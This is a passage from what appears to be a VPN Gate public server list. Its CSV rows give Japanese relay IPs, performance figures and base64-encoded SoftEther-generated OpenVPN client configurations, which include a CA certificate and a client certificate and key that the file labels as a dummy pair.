Cs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +public-vpn-205,219.100.37.214,2422086,13,114286144,Japan,JP,85,5448066265,10813231,501379020100327,2weeks,Daiyuu Nobori_ Japan. Academic Use Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjIxNCA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +public-vpn-159,219.100.37.112,2411416,27,233371589,Japan,JP,37,5448080046,8028428,385224930191295,2weeks,Daiyuu Nobori_ Japan. Academic Use 